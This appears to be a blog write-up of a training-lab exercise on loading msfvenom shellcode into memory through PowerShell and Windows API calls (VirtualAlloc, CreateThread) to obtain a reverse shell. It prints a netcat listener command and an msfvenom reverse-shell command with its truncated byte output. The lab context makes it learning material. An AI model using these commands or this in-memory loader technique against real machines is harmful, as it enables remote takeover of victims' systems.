
Let me know what you think in the comments. The concept is the same for both Windows 10/11.
We can execute this shellcode by loading it into memory and then creating a thread for its execution. In this case, we will use PowerShell to call a few Windows APIs via C# code. Below is a simple PowerShell script that will execute our shellcode:
Phew! That's a lot of code. But don't stress. We'll break down what it does step by step.
The script starts by defining a few C# classes. These classes use the DllImport
attribute to load specific functions from the kernel32
DLL, which is part of the Windows API.
VirtualAlloc
: This function allocates memory in the process's address space. It's commonly used in scenarios like this to prepare memory for storing and executing shellcode.CreateThread
: This function creates a new thread in the process. The thread will execute the shellcode that has been loaded into memory.WaitForSingleObject
: This function pauses execution until a specific thread finishes its task. In this case, it ensures that the shellcode has completed execution.These classes are then added to PowerShell using the Add-Type
command, allowing PowerShell to use these functions.
Next, the script stores the shellcode in the $buf
variable, a byte array. In the example above, SHELLCODE_PLACEHOLDER
is just there to show where you would insert the actual shellcode earlier generated through msfvenom
. Usually, you'd replace it with the real shellcode, represented as a series of hexadecimal values. These hex values are the instructions that will be executed when the shellcode runs.
The VirtualAlloc
function then allocates a block of memory where the shellcode will be stored. The script uses the following arguments:
0
for the memory address, meaning that Windows will decide where to allocate the memory.$size
for the size of the memory block, which is determined by the length of the shellcode.0x3000
for the allocation type, which tells Windows to reserve and commit the memory.0x40
for memory protection, the memory is readable and executable (necessary for executing shellcode).After memory is allocated, the Marshal.Copy
function copies the shellcode from the $buf
array into the allocated memory address ($addr
), preparing it for execution.
Once the shellcode is stored in memory, the script calls the CreateThread
function to execute the shellcode by creating a new thread. This thread is instructed to start execution from the memory address where the shellcode is located ($addr
). The script then uses the WaitForSingleObject
function, ensuring it waits for the shellcode execution to finish before continuing. This makes sure that the shellcode runs completely before the script ends its execution.
I set up my environment on the AttackBox.
To catch the call back to the AttackBox from the Victim Machine:
# During the walk-through they show you how
# to do this on port 1111 change it to 4444
nc -nvpl [Port to Listen on]
I used tmux
: setup the command with the assigned IP that I was given.
root@ip-10-10-147-34:~# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.147.34 LPORT=1111 -f powershell
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of powershell file: 2259 bytes
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8...
Now we use the above PowerShell code to set up the memory space and add in the payload that we generated with msfvenom
.
After we run the code, we are able to get the reverse shell needed.
Keep in mind that the reverse shell needs to be triggered from port 4444, so you'll need to update that for the msfvenom
command.
This was a new take on creating a reverse shell from memory. I'll have to dig into this more to learn how to execute this remotely or look into possibilities to run as a low-level user!